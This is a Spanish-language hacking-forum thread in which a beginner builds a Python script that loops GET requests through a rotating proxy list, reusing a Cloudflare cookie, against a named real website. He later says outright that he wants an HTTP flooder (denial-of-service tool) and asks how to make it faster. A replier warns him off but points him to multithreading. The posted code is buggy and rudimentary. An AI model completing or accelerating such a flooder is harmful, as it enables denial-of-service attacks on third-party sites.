Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: aprendiendohacking2020 en 26 Octubre 2019, 17:18 pm



Título: como podria programar esto en Python 3? (Modulo requests)
Publicado por: aprendiendohacking2020 en 26 Octubre 2019, 17:18 pm
Nesesito hacer tipo un bucle ilimitado que cuando se termine se vuelva a repetir de nuevo, hasta que canceles presionando ctrl + c..


Otra cosa que me gustaria poder hacer es que me explicasen como puedo leer un archivo .txt con diferentes proxys desde python.. y que vaya mandando peticiones GET con esos proxys uno por uno hasta que se termine el ciclo y vuelve a empezar..

en resumen: nesesito leer una archivo .txt con proxys (una por linea) y nesesito saber como armar el ciclo ilimitadamente hasta que se corte cuando vos canceles..

Utilizo Python 3, estoy usando el modulo Requests, ¿me podrian ayudar? gracias


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: engel lex en 26 Octubre 2019, 17:35 pm
lo primero un ciclo infinito
Código:
while True:
    hacer_algo()

donde hacer algo es lo que quieras, por defecto eso morirá al presionar control + c  ya que eso es para matar el programa en consola normalmente

lo de los proxy, metes todos los proxy en una lista y con un for lo vas recorriendo, tambien puedes usar un random.choice para que no sean secuenciales

en general puede ser algo como

Código:
# ... imports y otras cosas
proxies = leer_proxies()
while True:
  proxy = random.choice(proxies)
  proxy = {'http': proxy ,'https': proxy }
  r = s.get(url, proxies=proxy)


y eso se repetirá hasta que presiones ctrl+c para interrumpir la ejecución del programa


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: aprendiendohacking2020 en 26 Octubre 2019, 17:46 pm
lo primero un ciclo infinito
Código:
while True:
    hacer_algo()

donde hacer algo es lo que quieras, por defecto eso morirá al presionar control + c  ya que eso es para matar el programa en consola normalmente

lo de los proxy, metes todos los proxy en una lista y con un for lo vas recorriendo, tambien puedes usar un random.choice para que no sean secuenciales

en general puede ser algo como

Código:
# ... imports y otras cosas
proxies = leer_proxies()
while True:
  proxy = random.choice(proxies)
  proxy = {'http': proxy ,'https': proxy }
  r = s.get(url, proxies=proxy)


y eso se repetirá hasta que presiones ctrl+c para interrumpir la ejecución del programa



muchas gracias amigo, una duda como puedo incluir la lectura del proxy y la request en cada ciclo dentro de una funcion, asi puedo llamar a la funcion directamente y hacer todo eso junto?


perdona mi ignorancia soy nuevo en Python.. pero basicamente el objetivo es que en cada ciclo envie una request get a un sitio con un proxy distinto.


AGREGO: tambien nesesitaria saber como hago para recorrer con un for y especificar el archivo .txt


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: engel lex en 26 Octubre 2019, 18:28 pm

muchas gracias amigo, una duda como puedo incluir la lectura del proxy y la request en cada ciclo dentro de una funcion, asi puedo llamar a la funcion directamente y hacer todo eso junto?


perdona mi ignorancia soy nuevo en Python.. pero basicamente el objetivo es que en cada ciclo envie una request get a un sitio con un proxy distinto.


AGREGO: tambien nesesitaria saber como hago para recorrer con un for y especificar el archivo .txt

ya lo que estás preguntando, es como se programa, ahi te toca estudiar como programación sobre python, lo que preguntas son probablemente los primeros capitulos


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: aprendiendohacking2020 en 26 Octubre 2019, 18:30 pm
ya lo que estás preguntando, es como se programa, ahi te toca estudiar como programación sobre python, lo que preguntas son probablemente los primeros capitulos

si me dieras un ejemplo lo entenderia mejor  :silbar:


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: engel lex en 26 Octubre 2019, 18:43 pm
Citar
muchas gracias amigo, una duda como puedo incluir la lectura del proxy y la request en cada ciclo dentro de una funcion, asi puedo llamar a la funcion directamente y hacer todo eso junto?

Código:
def procesar():
   # aquí todo el codigo que te escribí con su respectivo inicio

procesar()

XD segun tu descripción eso es, no estoy seguro que es lo que quieres, pero insisto, si no sabes hacer eso, no estoy seguro como armarás el resto del programa... arma un programa y en lo que llegues a una duda, muestra tu codigo y se te ayuda a resolver


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: aprendiendohacking2020 en 26 Octubre 2019, 19:29 pm
Código:
def procesar():
   # aquí todo el codigo que te escribí con su respectivo inicio

procesar()

XD segun tu descripción eso es, no estoy seguro que es lo que quieres, pero insisto, si no sabes hacer eso, no estoy seguro como armarás el resto del programa... arma un programa y en lo que llegues a una duda, muestra tu codigo y se te ayuda a resolver

claro, pero por ejemplo como especifico el .txt y abro el txt..

nesesitaria especificar el .txt y con un for recorrerlo verdad? eso es basicamente lo que no entiendo

hagamoslo de forma manual, sin especificar argumentos.. defino una variable con la ruta y el .txt, hacelo de esa forma sencilla para que lo entienda.


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: engel lex en 26 Octubre 2019, 19:33 pm
https://www.google.com/search?q=leer+archivos+python (https://www.google.com/search?q=leer+archivos+python)

primer resultado
https://people.sugarlabs.org/ignacio/Python/python+3.pdf (https://people.sugarlabs.org/ignacio/Python/python+3.pdf)


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: aprendiendohacking2020 en 26 Octubre 2019, 20:00 pm
Código:
file_handle = []
url = 'https://panel.brighthost.cl'

with open("files/proxy.txt", 'r') as file_handle:
lines = [line.strip() for row in file_handle]
   
while True:
proxy = {random.choice(file_handle[index])}
req_u = requests.get(url, proxies=proxy)
cf_cookie = req_u.cookies['__cfduid']
cookies = dict(cookies_are=cf_cookie)
     r = request.get(url, proxies=proxy, cookies=cookies)




(https://i.ibb.co/hYXqYbz/Captura.png)

¿Que estoy haciendo mal? aver si alguien sabe el error


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: kub0x en 26 Octubre 2019, 20:08 pm
No sé de Python pero estoy viendo que obtienes un IdentationError y puede ser que en el While True las sentencias que van abajo del mismo no están identadas correctamente, hay doble tabulador cuando deberia ser 1 solo.


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: aprendiendohacking2020 en 26 Octubre 2019, 21:06 pm
No sé de Python pero estoy viendo que obtienes un IdentationError y puede ser que en el While True las sentencias que van abajo del mismo no están identadas correctamente, hay doble tabulador cuando deberia ser 1 solo.

estamos iguales amigo, basicamente de python tampoco entiendo, por eso pedia una breve ayuda


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: MCKSys Argentina en 26 Octubre 2019, 21:16 pm
El IDE que usas te lo dice perfectamente: tienes un error de indentación en esa linea.

Por tu imagen, parece que le pusiste un espacio demás al inicio.

Es recomendable que hagas un curso desde cero en python. Usa el buscador del foro o Google (o Bing o DuckDuckGo o lo que sea) para hallar uno.

Saludos!


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: engel lex en 27 Octubre 2019, 00:04 am
la linea 19 tiene un espacio extra antes de la r

por otro lado cuidado, lines no está declarado fuera del with y puedes tener resultados inesperados... declaralo antes del with como

Código:
lines = None

por otro lado no recomiendo usar un for autocontenido como en la linea 12, ya que no aporta valor al codigo y dificulta su lectura, especialmente para alguien que inicia

en la linea 15,  no debes hacerle el choice a file_handle (el solo debería existir en el with con el único proposito de darle contenido a lines y no era necesario declararlo previamente, especialmente como una lista, ya que es un file handler (manejador de archivo) y no una lista), en el choice va lines

no entendi el objetivo en tu linea 18


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: aprendiendohacking2020 en 27 Octubre 2019, 21:39 pm
la linea 19 tiene un espacio extra antes de la r

por otro lado cuidado, lines no está declarado fuera del with y puedes tener resultados inesperados... declaralo antes del with como

Código:
lines = None

por otro lado no recomiendo usar un for autocontenido como en la linea 12, ya que no aporta valor al codigo y dificulta su lectura, especialmente para alguien que inicia

en la linea 15,  no debes hacerle el choice a file_handle (el solo debería existir en el with con el único proposito de darle contenido a lines y no era necesario declararlo previamente, especialmente como una lista, ya que es un file handler (manejador de archivo) y no una lista), en el choice va lines

no entendi el objetivo en tu linea 18

Hola disculpa que te moleste de nuevo, estoy empezando a entender python, pero tengo una consulta, tengo este codigo que acabo de crear

Código:
url = 'https://panel.brighthost.cl'
proxy_file = 'files/proxy.txt'
proto = ''
ips = []

with open(proxy_file) as proxy:
        ips = [row.rstrip() for row in proxy]
           

while True:
        proxy = {proto: random.choice(ips)}
        req_u = requests.get(url, proxies=proxy)
        print(f'PETICION ESTADO: {req_u.status_code}, PROXY {proxy}')
        cf_cookie = req_u.cookies['__cfduid']
        cookies = dict(cookies_are=cf_cookie)
        r = requests.get(url, proxies=proxy, cookies=cookies)

Aca tambien dejo una foto


(https://i.ibb.co/cQgcMtx/Captura.png)

basicamente el funcionamiento es que dentro cuando ejecutas el script recorre la lista de los proxys y los guarda en un array, luego se mete en un bucle infiniito donde envia una primer peticion get y obtiene el cookie de cloudflare en este caso las cookies de cloudflare siempre suelen empezar con el nombre __cfduid

despues de eso guarda la cookie y su contenido en la variable cookies y por ultimo envia una segunda peticion GET con el mismo proxy y la cookie Asignada..


Ahora bien, basicamente supongo que te daras cuenta a lo que quiero llegar, lo que estoy haciendo o quiero lograr es un HTTP flodder, el prolema de esto es que el ciclo es demasiado lento, es decir, envia las peticiones 1 cada 1-2 segundos.. y no es suficiente la rapidez, nesesito auncrementar la velocidad del ciclo para que se repita mucho mas rapido, no se como podre lograr esto si tendre que hacerlo en un while o dentro de otra funcion.. pero basicamente quiero este mismo proceso pero mucho mas rapido.. vos me podras dar un ejemplo de como podria hacerlo?


Gracias


Título: Re: como podria programar esto en Python 3? (Modulo requests)
Publicado por: engel lex en 27 Octubre 2019, 22:15 pm
quieres correr antes de aprender a caminar... lo que buscas se llama ejecución multi hilo (multi thread)

de antemano te digo, cloudflare conoce mas proxys publicos que tu y es capaz de aguantar ataques de centenas de GBps (incluso si vez los temas relacionados, este foro soporta ataques en el orden de los GBps sin problemas)

ojo que hay un monton de cositas relacionadas para entender los errores que tendrás pero basicamente va así

Código
  1. import threading
  2. import time
  3.  
  4.  
  5. def imprimir_mensaje(msg):
  6.  time.sleep(1)
  7.  print(msg)
  8.  
  9. mensajes = ["hola", "mundo", "otra cosa", "otro mas"]
  10.  
  11. for mensaje in mensajes:
  12.  threading.Thread(target=imprimir_mensaje, args=(mensaje,).start()
  13.  
  14. print("mensajes enviados"
  15.  
  16.  
  17.